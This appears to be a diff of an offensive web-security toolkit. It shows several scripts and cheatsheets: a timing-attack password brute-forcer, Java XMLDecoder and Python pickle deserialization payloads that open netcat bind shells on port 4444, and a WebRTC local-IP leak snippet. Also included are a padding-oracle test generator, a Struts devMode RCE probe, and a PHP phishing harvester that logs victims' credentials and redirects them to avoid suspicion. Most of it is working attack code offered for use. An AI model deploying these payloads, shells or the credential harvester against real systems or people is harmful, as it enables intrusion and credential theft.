self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
self._set_headers()
self.wfile.write("<html><body><h1>hi!</h1></body></html>")
def do_HEAD(self):
self._set_headers()
def do_POST(self):
# Doesn't do anything with posted data
self._set_headers()
self.wfile.write("<html><body><h1>POST!</h1></body></html>")
def run(server_class=HTTPServer, handler_class=S, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print 'Starting httpd...'
httpd.serve_forever()
if __name__ == "__main__":
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()

53
web/http-auth-timing.py Normal file
View File

@ -0,0 +1,53 @@
#!/usr/bin/python
import requests
import datetime
import string
import sys
ALPHABET = string.printable
RETRIES = 1
def fetch(url, username, password):
a = datetime.datetime.now()
r = requests.get(url, auth=requests.auth.HTTPBasicAuth(username, password))
if r.status_code == 200:
return 0
b = datetime.datetime.now()
return (b - a).total_seconds()
def main(url, username):
pass_so_far = ''
while True:
print '\n[>] Password so far: "%s"\n' % pass_so_far
times = {}
avg_times = {}
for p in ALPHABET:
times[p] = []
avg_times[p] = 0.0
for i in range(RETRIES):
password = pass_so_far + p
t = fetch(url, username, password)
if t == 0:
print 'Password found: "%s"' % password
return
times[p].append(t)
avg_times[p] = sum(times[p]) / float(RETRIES)
if ord(p) > 32:
print '\tLetter: "%c" - time: %f' % (p, avg_times[p])
max_time = [0,0]
for letter, time_ in times.items():
if time_ > max_time[1]:
max_time[0] = letter
max_time[1] = time_
pass_so_far += max_time[0]
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: http-auth-timing.py <url> <username>'
main(sys.argv[1], sys.argv[2])

View File

@ -0,0 +1,80 @@
## Java Beans XMLDecoder Remote Code Execution cheatsheet
Having a functionality of file upload or other function that is parsing input xml-type data that will later flow through the **XMLDecoder** component of _Java Beans_, one could try to play around it's known deserialization issue. In order to test that issue there should be specially crafted XML-payload used that would invoke arbitrary Java interfaces and methods with supplied parameters.
### Payloads
When one would like to start a bind shell on the target machine, he could use the payload like the following one:
```
Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"});
```
In such case desired XML would look like the following one:
```
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>4444</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/bash</string>
</void>
</array>
</void>
</object>
</java>
```
or by using `ProcessBuilder`:
```
new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start()
```
Then the payload would look like:
```
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>4444</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/bash</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```

View File

@ -0,0 +1,12 @@
let ipAddresses = [];
var oRTCIceGatherer = new RTCIceGatherer({ "gatherPolicy": "all", "iceServers": [] });
oRTCIceGatherer.onlocalcandidate = function (oEvent) {
if(oEvent.candidate.type == "host") {
ipAddresses.push(oEvent.candidate.ip);
}
};
setTimeout(function() {
console.log(ipAddresses.toString());
}, 500);

311
web/padding-oracle-tests.py Normal file
View File

@ -0,0 +1,311 @@
#!/usr/bin/python
#
# Padding Oracle test-cases generator.
# Mariusz B. / mgeeky, 2016
# v0.2
#
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
#
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
# and then generates all the possible, reasonable cipher text transformations to be used while manually
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
# encoded values to be used in manual application testing approaches, like sending requests.
#
# One of possible scenarios and ways to use the below script could be the following:
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
# - launch pador.py which is an example of application vulnerable to Padding Oracle
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
# result would be considered padding-hit, therefore vulnerability proof.
#
# This script could be then launched to generate every possible test case of second to the last block
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
#
# Such example usage look like:
#
#---------------------------------------------
# bash$ x=0 ; for i in $(./padding-oracle-tests.py 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6); \
# do curl -s http://host:5000/echo?cipher=$i | grep -qv 'error' && printf "Byte: 0x%02x not generated decryption error.\n" $x ; x=$((x+1)); done
#
# [?] Data resembles block cipher with block size = 16
# [?] Data resembles block cipher with block size = 8
#
# Generated in total: 512 test cases for 8, 16 block sizes.
# Byte: 0x87 not generated decryption error.
#---------------------------------------------
#
# There the script took at it's first parameter the hex encoded parameter, used it to feed test cases generator and resulted with 512
# test cases varying with the last byte of the second to the last block:
# (...)
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fad2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fbd2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fcd2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fdd2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fed2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000ffd2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000054bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000154bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000254bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000354bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000454bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000554bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000654bfebe0a04dd4d6
# (...)
#
# At the end, those values were used in for loop to launch for every entry a curl client with request to the Padding Oracle.
# The 0x87 byte that was catched was the only one that has not generated a 'decryption error' outcome from the request, resulting
# in improperly decrypted plain-text from attacker-controled cipher text.
#
import re
import sys
import urllib
import binascii as ba
import base64
# Flip this variable when your input data is not being properly processed.
DEBUG = False
def info(txt):
sys.stderr.write(txt + '\n')
def warning(txt):
info('[?] ' + txt)
def error(txt):
info('[!] ' + txt)
def dbg(txt):
if DEBUG:
info('[dbg] '+txt)
# or maybe:
# class PaddingOracleTestCasesWithVaryingSecondToTheLastBlockGenerator
class PaddingOracleTestCasesGenerator:
NONE = 0
B64URL = 1
B64STD = 2
HEXENC = 3
data = ''
offset = 0
encoding = NONE
blocksizes = set()
urlencoded = False
def __init__(self, data, blocksize=0):
self.data = data
len_before = len(data)
self.encoding = self.detect_encoding()
self.data = self.decode(data)
if blocksize != 0:
assert blocksize % 8 == 0, "Blocksize must be divisible by 8"
self.blocksizes = [blocksize,]
else:
self.detect_blocksize()
self.data_evaluation(len_before)
def data_evaluation(self, len_before):
def entropy(txt):
import math
from collections import Counter
p, lns = Counter(txt), float(len(txt))
return -sum( count / lns * math.log(count/lns, 2) for count in p.values())
e = entropy(self.data)
warning('Data size before and after decoding: %d -> %d' % (len_before, len(self.data)))
warning('Data entropy: %.6f' % entropy(self.data))
if e < 5.0:
info('\tData does not look random, not likely to deal with block cipher.')
elif e >= 5.0 and e < 7.0:
info('\tData only resembles random stream, hardly to be dealing with block cipher.')
else:
info('\tHigh likelihood of dealing with block cipher. That\'s good.')
if self.offset != 0:
warning('Data structure not resembles block cipher.')
warning('Proceeding with sliding window of %d bytes in the beginning and at the end\n' % self.offset)
else:
warning('Data resembles block cipher with block size = %d' % max(self.blocksizes))
def detect_encoding(self):
b64url = '^[a-zA-Z0-9_\-]+={0,2}$'
b64std = '^[a-zA-Z0-9\+\/]+={0,2}$'
hexenc1 = '^[0-9a-f]+$'
hexenc2 = '^[0-9A-F]+$'
data = self.data
if re.search('%[0-9a-f]{2}', self.data, re.I) != None:
dbg('Sample is url-encoded.')
data = urllib.unquote_plus(data)
self.urlencoded = True
if (re.match(hexenc1, data) or re.match(hexenc2, data)) and len(data) % 2 == 0:
dbg('Hex encoding detected.')
return self.HEXENC
if re.match(b64url, data):
dbg('Base64url encoding detected.')
return self.B64URL
if re.match(b64std, data):
dbg('Standard Base64 encoding detected.')
return self.B64STD
error('Warning: Could not detect data encoding. Going with plain data.')
return self.NONE
def detect_blocksize(self):
sizes = [32, 16, 8] # Correspondigly: 256, 128, 64 bits
self.offset = len(self.data) % 8
datalen = len(self.data) - self.offset
for s in sizes:
if datalen % s == 0 and datalen / s >= 2:
self.blocksizes.add(s)
if not len(self.blocksizes):
if datalen >= 32:
self.blocksizes.add(16)
if datalen >= 16:
self.blocksizes.add(8)
if not len(self.blocksizes):
raise Exception("Could not detect data's blocksize automatically.")
def encode(self, data):
def _enc(data):
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
return base64.urlsafe_b64encode(data)
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
return base64.b64encode(data)
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
return ba.hexlify(data).strip()
else:
return data
enc = _enc(data)
if self.urlencoded:
return urllib.quote_plus(enc)
else:
return enc
def decode(self, data):
def _decode(self, data):
if self.urlencoded:
data = urllib.unquote_plus(data)
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
return base64.urlsafe_b64decode(data)
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
return base64.b64decode(data)
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
return ba.unhexlify(data).strip()
else:
return data
dbg("Hex dump of data before decoding:\n" + hex_dump(data))
decoded = _decode(self, data)
dbg("Hex dump of data after decoding:\n" + hex_dump(decoded))
return decoded
def construct_second_to_last_block(self, data, blocksize, value, offset=0):
assert len(data) >= 2 * blocksize, "Too short data to operate on it with given blocksize."
assert abs(offset) < blocksize, "Incorrect offset was specified. Out-of-bounds access."
# Null vector with the last byte set to iterated value.
block = '0' * (2*(blocksize-1)) + '%02x' % value
if offset >= 0:
# datadata<rest>
return data[:-2*blocksize-offset] + ba.unhexlify(block) + data[-blocksize-offset:]
else:
# <rest>datadata
return data[-offset:-2*blocksize] + ba.unhexlify(block) + data[-blocksize:]
def generate_test_cases(self):
cases = []
data = self.data
for size in self.blocksizes:
dbg("Now generating test cases of %d blocksize." % size)
for byte in range(256):
# No offset
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte)))
if self.offset != 0:
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, self.offset)))
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, -self.offset)))
return cases
def hex_dump(data):
s = ''
n = 0
lines = []
if len(data) == 0:
return '<empty>'
for i in range(0, len(data), 16):
line = ''
line += '%04x | ' % (i)
n += 16
for j in range(n-16, n):
if j >= len(data): break
line += '%02x ' % ord(data[j])
line += ' ' * (3 * 16 + 7 - len(line)) + ' | '
for j in range(n-16, n):
if j >= len(data): break
c = data[j] if not (ord(data[j]) < 0x20 or ord(data[j]) > 0x7e) else '.'
line += '%c' % c
lines.append(line)
return '\n'.join(lines)
def main():
info('\n\tPadding Oracle test-cases generator')
info('\tMariusz B. / mgeeky, 2016\n')
if len(sys.argv) < 2:
warning('usage: padding-oracle-tests.py <data> [blocksize]')
sys.exit(0)
data = sys.argv[1].strip()
bsize = int(sys.argv[2]) if len(sys.argv) > 2 else 0
try:
tester = PaddingOracleTestCasesGenerator(data, bsize)
except Exception as e:
error(str(e))
return False
s = hex_dump(tester.data)
info('Decoded data:\n%s\n' % s)
cases = tester.generate_test_cases()
for case in cases:
if DEBUG:
dbg('...' + case[-48:])
else:
print case
info('\n[+] Generated in total: %d test cases for %s block sizes.' \
% (len(cases), ', '.join([str(e) for e in sorted(tester.blocksizes)])))
if __name__ == '__main__':
main()

20
web/pickle-payload.py Normal file
View File

@ -0,0 +1,20 @@
#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import cPickle
import os
import sys
import base64
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))

247
web/post.php Normal file
View File

@ -0,0 +1,247 @@
<?php
/*
* PHP Script intdended to be used during Phishing attempts as a harverster
* collector linked to backdoored HTML <form> action parameter. Such action
* parameter could be set like this:
*
* <form [...] action="/post.php" [...]>
*
* and script named as 'post.php' to get it working. Additional further configurations
* can be made in the section below.
*
* When crafting HTML login page, one can use the PHP session variable:
* $_SESSION['phished_already']
* to add forced redirection to the target site.
*
* Authors:
* Mariusz B. / mgeeky
* Jakub M. / unkn0w
*
* Version:
* v0.3
*
* Changelog:
* - v0.1 - init
* - v0.2 - added metadata gathering
* - v0.2.1 - unkn0w adds redirection to faked 'wrong password' message
* - v0.3 - added CSV reporting method
*/
try {
/* ============================ CONFIGURATION ============================ */
// Filename for harvested data. For CSV logging method, the '.csv' fill be appended.
// Remember to keep the filename not guessable, to avoid forceful browsing against your own
// phishing box!
$harvest_filename = 'harvester_phishing_campaign_1234567890.txt';
// Target to redirect to after collecting input data.
$redirect = 'https://www.website.to/redirect.to?after=input&data=was&sent=';
// Resend post data to the redirect address?
$resend_post_data = false;
// Specifies how many login attempts user have to try before redirection to real website (must be set to 1 or more)
$password_retry = 2;
// URL for "wrong password" message redirection (applicable only if $password_retry is set to more than 1).
// May be relative URL or full one pointing at the target application's error message directly.
// Warning: If left empty - the page will be simply reloaded.
$wrong_password_url = ''; // '/index.php?wrong_pass=1';
// If this is set to true, everyone regardless of their user agents will be logged.
// Otherwise, only valid, recognized user agents (exlucding bots, or ones who tamper that
// setting) will be logged.
$log_everyone = false;
// Set this variable to:
// - 'csv' - to collect results in a CSV format.
// - 'print_r' - to use the PHP's 'print_r' function.
// - 'both' - to create two files and use them both.
$log_format = 'both';
$csv_separator = ' | ';
// Specifies whether to include in harvesting log metadata such as User Agent,
// Remote Addr (victim IP) and so on.
$show_meta_data = true;
// Exclude specific clients based on their VISITOR_ID value (16 bytes values):
$exclude_visitors = array('1234567890abcdef');
/* ============================ CONFIGURATION ============================ */
@error_reporting(0);
session_start();
setcookie(session_name(), session_id(), time() + 7776000); // cookie for 90 days
if (empty($_POST)) {
header("Location: index.html");
exit();
}
$_SESSION['phishing_counter'] = isset($_SESSION['phishing_counter']) ? $_SESSION['phishing_counter'] + 1 : 1;
function array_clone($array) {
return array_map(function($element) {
return ((is_array($element))
? call_user_func(__FUNCTION__, $element)
: ((is_object($element))
? clone $element
: $element
)
);
}, $array);
}
function collect_columns_array($arraylog) {
$columns = array();
foreach($arraylog as $k => $v) {
if ( $k == 'meta' ) {
foreach($arraylog[$k] as $k2 => $v2) {
array_push($columns, $k2);
}
} else {
array_push($columns, $k);
}
}
return $columns;
}
function log_file_init($arraylog) {
global $log_format;
global $harvest_filename;
global $csv_separator;
if ($log_format == 'both' || $log_format == 'print_r') {
file_put_contents($harvest_filename, '');
}
if ($log_format == 'both' || $log_format == 'csv' ) {
$columns = implode($csv_separator, collect_columns_array($arraylog));
file_put_contents($harvest_filename . '.csv', $columns . "\n");
}
}
function log_append($arraylog) {
global $log_format;
global $harvest_filename;
global $csv_separator;
if ($log_format == 'both' || $log_format == 'print_r') {
file_put_contents($harvest_filename, print_r($arraylog, true), FILE_APPEND);
}
if ($log_format == 'both' || $log_format == 'csv' ) {
$columns = collect_columns_array($arraylog);
$line = '';
foreach ($columns as $col) {
if (array_key_exists($col, $arraylog['meta'])) {
$line .= $arraylog['meta'][$col] . $csv_separator;
} else {
$line .= $arraylog[$col] . $csv_separator;
}
}
$line = substr($line, 0, -strlen($csv_separator));
file_put_contents($harvest_filename . '.csv', $line . "\n", FILE_APPEND);
}
}
$to_report_array = array_clone($_POST);
$to_report_array['meta'] = array();
if ( array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)
&& $_SERVER['HTTP_X_FORWARDED_FOR']
&& $_SERVER['HTTP_X_FORWARDED_FOR'] !== $_SERVER['REMOTE_ADDR']
){
$to_report_array['meta']['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
$to_copy_from_server = array("REMOTE_ADDR", "HTTP_REFERER", "HTTP_USER_AGENT", "HTTP_HOST");
for( $i = 0; $i < count($to_copy_from_server); $i++ ) {
$to_report_array['meta'][$to_copy_from_server[$i]] = $_SERVER[$to_copy_from_server[$i]];
}
$date = date('Y-m-d H:i:s');
$to_report_array['meta']['TIMESTAMP'] = $date;
// Add information about password-entry attempt to the logfile.
$to_report_array['meta']['COMMENT'] = "Password retries for that user: " . $_SESSION['phishing_counter'] . ". ";
if ($_SESSION['phishing_counter'] >= $password_retry) {
$to_report_array['meta']['COMMENT'] .= 'Considered phished (+). ';
}
// Valid user agents only
$len = strlen($_SERVER['HTTP_USER_AGENT']);
$found = 0;
$keywords = array('Chrome', 'Chromium', 'CriOS', 'Fedora', 'Firefox', 'Gecko',
'Intel', 'iPhone', 'KHTML', 'Linux', 'Macintosh', 'Mobile',
'Mozilla', 'Safari', 'Trident', 'Ubuntu', 'Version', 'Win64',
'Windows', 'WOW64', 'x86_64', 'Android', 'Phone');
for ($i = 0; $i < count($keywords); $i++) {
if(stripos($_SERVER['HTTP_USER_AGENT'], $keywords[$i]) !== false) {
$found++;
}
}
// Computing unique per visitor ID to be able to grep harvest log based on that ID.
$exclude = false;
$id = sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['HTTP_ACCEPT'] .
$_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_LANGUAGE']);
$to_report_array['meta']['VISITOR_ID'] = substr($id, 0, 16);
if(in_array($to_report_array['meta']['VISITOR_ID'], $exclude_visitors)) {
$exclude = true;
}
if (!$exclude && ($log_everyone || ($found >= 3 && $len > 60))) {
if(!file_exists($harvest_filename)) {
log_file_init($to_report_array);
}
log_append($to_report_array);
}
if(!$show_meta_data) {
unset($to_report_array['meta']);
}
if ($password_retry > 1) {
if ($_SESSION['phishing_counter'] < $password_retry) {
$url = (!empty($wrong_password_url))? $wrong_password_url : $_SERVER['PHP_SELF'];
header('Location: ' . $url);
die();
}
}
if ($_SESSION['phishing_counter'] >= $password_retry) {
$_SESSION['phished_already'] = 1;
throw new Exception('Already phished.'); // redirects to target page.
}
header('Content-Type: text/html; charset=utf-8');
if (!$resend_post_data) {
echo '<meta http-equiv="refresh" content="0; url=' . $redirect . '" />';
} else {
echo "<html><head></head><body>";
echo "<form action='" . $redirect . "' method='post' name='frm'>";
foreach($_POST as $a => $b ) {
echo "<input type='hidden' name='" . htmlentities($a) . "' value='" . htmlentities($b) . "'>";
}
echo "</form><script type='text/javascript'>document.frm.submit();</script></body></html>";
}
} catch (Exception $e) {
// We can't take the risk of not redirecting victim into desired website,
// because such victim could become anxious or investigate the issue further
// thus compromising our campaign. That's the purpose of the try..catch statement
// applied here.
echo '<meta http-equiv="refresh" content="0; url=' . $redirect . '" />';
}
?>

424
web/reencode.py Normal file
View File

@ -0,0 +1,424 @@
#!/usr/bin/python
#
# ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding.
# To be used for instance in fuzzing purposes.
#
# NOTICE:
# If the input string's length is divisble by 4, Base64 will be able to decode it - thus, the script
# would wrongly assume it has been encoded using Base64. The same goes for Hex decoding.
# In order to tackle this issue, the script builds up a tree of possible encoding schemes and then evaluate
# that tree by choosing the best fitting encodings path (with most points counted upon resulted text's length,
# entropy and printable'ity).
#
# Requires:
# - jwt
# - anytree
#
# Mariusz B., 2018
#
import re
import sys
import jwt
import math
import base64
import urllib
import string
import anytree
import binascii
from collections import Counter
class ReEncoder:
# Switch this to show some verbose informations about decoding process.
DEBUG = False
# ============================================================
# ENCODERS SECTION
#
class Encoder:
def name(self):
raise NotImplementedError
def check(self, data):
raise NotImplementedError
def encode(self, data):
raise NotImplementedError
def decode(self, data):
raise NotImplementedError
class NoneEncoder(Encoder):
def name(self):
return 'None'
def check(self, data):
if not data:
return False
return True
def encode(self, data):
return data
def decode(self, data):
return data
class URLEncoder(Encoder):
def name(self):
return 'URLEncoder'
def check(self, data):
if urllib.quote(urllib.unquote(data)) == data and (urllib.unquote(data) != data):
return True
if re.match(r'^(?:%[0-9a-f]{2})+$', data, re.I):
return True
return False
def encode(self, data):
return urllib.quote(data)
def decode(self, data):
return urllib.unquote(data)
class HexEncoder(Encoder):
def name(self):
return 'HexEncoded'
def check(self, data):
m = re.match(r'^[0-9a-f]+$', data, re.I)
if m:
return True
return False
def encode(self, data):
return binascii.hexlify(data).strip()
def decode(self, data):
return binascii.unhexlify(data).strip()
class Base64Encoder(Encoder):
def name(self):
return 'Base64'
def check(self, data):
try:
if base64.b64encode(base64.b64decode(data)) == data:
return True
except:
pass
return False
def encode(self, data):
return base64.b64encode(data)
def decode(self, data):
return base64.b64decode(data)
class Base64URLSafeEncoder(Encoder):
def name(self):
return 'Base64URLSafe'
def check(self, data):
try:
if base64.urlsafe_b64encode(base64.urlsafe_b64decode(data)) == data:
return True
except:
pass
return False
def encode(self, data):
return base64.urlsafe_b64encode(data)
def decode(self, data):
return base64.urlsafe_b64decode(data)
class JWTEncoder(Encoder):
secret = ''
def name(self):
return 'JWT'
def check(self, data):
try:
jwt.decode(data, verify = False)
return True
except jwt.exceptions.DecodeError:
return False
def encode(self, data):
return jwt.encode(data, JWTEncoder.secret)
def decode(self, data):
return jwt.decode(data, verify = False)
# ============================================================
# ENCODING DETECTION IMPLEMENTATION
#
MaxEncodingDepth = 20
def __init__(self):
self.encodings = []
self.encoders = (
ReEncoder.URLEncoder(),
ReEncoder.HexEncoder(),
ReEncoder.Base64Encoder(),
ReEncoder.Base64URLSafeEncoder(),
ReEncoder.JWTEncoder(),
# None must always be the last detector
ReEncoder.NoneEncoder(),
)
self.encodersMap = {}
self.data = ''
for encoder in self.encoders:
self.encodersMap[encoder.name()] = encoder
@staticmethod
def log(text):
if ReEncoder.DEBUG:
print(text)
def verifyEncodings(self, encodings):
for encoder in encodings:
if type(encoder) == str:
if not encoder in self.encodersMap.keys():
raise Exception("Passed unknown encoder's name.")
elif not issubclass(ReEncoder.Encoder, encoder):
raise Exception("Passed encoder is of unknown type.")
def generateEncodingTree(self, data):
step = 0
maxSteps = len(self.encoders) * ReEncoder.MaxEncodingDepth
peeledBefore = 0
peeledOff = 0
currData = data
while step < maxSteps:
peeledBefore = peeledOff
for encoder in self.encoders:
step += 1
ReEncoder.log('[.] Trying: {} (peeled off: {}). Current form: "{}"'.format(encoder.name(), peeledOff, currData))
if encoder.check(currData):
if encoder.name() == 'None':
continue
if encoder.name().lower().startswith('base64') and (len(currData) % 4 == 0):
ReEncoder.log('[.] Unclear situation whether input ({}) is Base64 encoded. Branching.'.format(
currData
))
yield ('None', currData, True)
if encoder.name().lower().startswith('hex') and (len(currData) % 2 == 0):
ReEncoder.log('[.] Unclear situation whether input ({}) is Hex encoded. Branching.'.format(
currData
))
yield ('None', currData, True)
ReEncoder.log('[+] Detected encoder: {}'.format(encoder.name()))
currData = encoder.decode(currData)
yield (encoder.name(), currData, False)
peeledOff += 1
break
if (peeledOff - peeledBefore) == 0:
break
def formEncodingCandidates(self, root):
iters = [[node for node in children] for children in anytree.LevelOrderGroupIter(root)]
candidates = []
for node in iters[-1]:
name = node.name
decoded = node.decoded
ReEncoder.log('[.] Candidate for best decode using {}: "{}"...'.format(
name, decoded[:20]
))
candidates.append([name, decoded, 0.0])
return candidates
@staticmethod
def entropy(data, unit='natural'):
base = {
'shannon' : 2.,
'natural' : math.exp(1),
'hartley' : 10.
}
if len(data) <= 1:
return 0
counts = Counter()
for d in data:
counts[d] += 1
probs = [float(c) / len(data) for c in counts.values()]
probs = [p for p in probs if p > 0.]
ent = 0
for p in probs:
if p > 0.:
ent -= p * math.log(p, base[unit])
return ent
def evaluateEncodingTree(self, root):
weights = {
'printableChars' : 10.0,
'highEntropy' : 4.0,
'length' : 1.0
}
candidates = self.formEncodingCandidates(root)
maxCandidate = 0
for i in range(len(candidates)):
candidate = candidates[i]
name = candidate[0]
decoded = candidate[1]
points = float(candidate[2])
ReEncoder.log('[=] Evaluating candidate: {} (data: "{}")'.format(
name, decoded
))
# Step 1: Adding points for printable percentage.
printables = sum([int(x in string.printable) for x in decoded])
printablePoints = weights['printableChars'] * (float(printables) / float(len(decoded)))
ReEncoder.log('\tAdding {} points for printable characters.'.format(printablePoints))
points += printablePoints
# Step 4: If encoder is Base64 and was previously None
# - then length and entropy of previous values should be of slighly lower weights
if name.lower() == 'none' \
and len(candidates) > i+1 \
and candidates[i+1][0].lower().startswith('base64'):
entropyPoints = ReEncoder.entropy(decoded) * (weights['highEntropy'] * 0.75)
lengthPoints = float(len(decoded)) * (weights['length'] * 0.75)
else:
entropyPoints = ReEncoder.entropy(decoded) * weights['highEntropy']
lengthPoints = float(len(decoded)) * weights['length']
# Step 2: Add points for entropy
ReEncoder.log('\tAdding {} points for high entropy.'.format(entropyPoints))
points += entropyPoints
# Step 3: Add points for length
ReEncoder.log('\tAdding {} points for length.'.format(lengthPoints))
points += lengthPoints
ReEncoder.log('\tScored in total: {} points.'.format(points))
candidates[i][2] = points
if points > candidates[maxCandidate][2]:
maxCandidate = i
winningCandidate = candidates[maxCandidate]
winningPaths = anytree.search.findall_by_attr(
root,
name = 'decoded',
value = winningCandidate[1]
)
ReEncoder.log('[?] Other equally good candidate paths:\n' + str(winningPaths))
winningPath = winningPaths[0]
ReEncoder.log('[+] Winning decode path is:\n{}'.format(str(winningPath)))
encodings = [x.name for x in winningPath.path if x != 'None']
return encodings
def process(self, data):
root = anytree.Node('None', decoded = data)
prev = root
for (name, curr, branch) in self.generateEncodingTree(data):
ReEncoder.log('[*] Generator returned: ("{}", "{}", {})'.format(
name, curr[:20], str(branch)
))
currNode = anytree.Node(name, parent = prev, decoded = curr)
if branch:
pass
else:
prev = currNode
for pre, fill, node in anytree.RenderTree(root):
ReEncoder.log("%s%s (%s)" % (pre, node.name, node.decoded[:20].decode('ascii', 'ignore')))
self.encodings = self.evaluateEncodingTree(root)
ReEncoder.log('[+] Selected encodings: {}'.format(str(self.encodings)))
def decode(self, data, encodings = []):
if not encodings:
self.process(data)
else:
self.verifyEncodings(encodings)
self.encodings = encodings
for encoderName in self.encodings:
d = self.encodersMap[encoderName].decode(data)
data = d
return data
def encode(self, data, encodings = []):
if encodings:
encodings.reverse()
self.verifyEncodings(encodings)
self.encodings = encodings
for encoderName in self.encodings[::-1]:
e = self.encodersMap[encoderName].encode(data)
data = e
return data
def main(argv):
sample = '4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935'
if len(argv) != 2:
print('Usage: reencode.py <text>')
print('Using sample: "{}"'.format(sample))
text = sample
else:
text = argv[1]
decoder = ReEncoder()
decoded = decoder.decode(text)
print('(1) DECODED TEXT: "{}"'.format(decoded))
decoded = 'FOO ' + decoded + ' BAR'
print('\n(2) TO BE ENCODED TEXT: "{}"'.format(decoded))
decoded = decoder.encode(decoded)
print('(3) ENCODED FORM: "{}"'.format(decoded))
if __name__ == '__main__':
main(sys.argv)

67
web/struts-cheatsheet.md Normal file
View File

@ -0,0 +1,67 @@
## Apache Struts Remote Code Execution cheatsheet
Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture.
When having the application developed in so-called **_devMode_** as set in the _struts.xml_ file:
``` <constant name="struts.devMode" value="true" />```
Then the middleware will be handling additional parameters passed to every function invocation.
### Testing for Struts devMode enabled
The most straightforward way to test for *devMode* enabled setting is to find an example JSP/WAR/JavaEE application within the server and then passed there specially crafted parameters.
The below list of commands is supported by the *devMode* in Struts:
- `debug=command`
- `debug=xml`
- `debug=console`
- `debug=browser`
There are the below most recognizeable example applications often deployed on the Tomcat webserver:
- the Struts 1:
- struts-blank
- struts-cookbook
- struts-el-example
- struts-examples
- struts-faces-example
- struts-faces-example2
- struts-mailreader
- struts-scripting-mailreader
- the Struts 2:
- struts2-blank
- struts2-rest-showcase
- struts2-mailreader
- struts2-showcase
- struts2-portlet
By choosing one of them, testing whether it exists on target web server and passing special parameters, we can assure the Struts framework has been configured to use *devMode*.
```
http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1
```
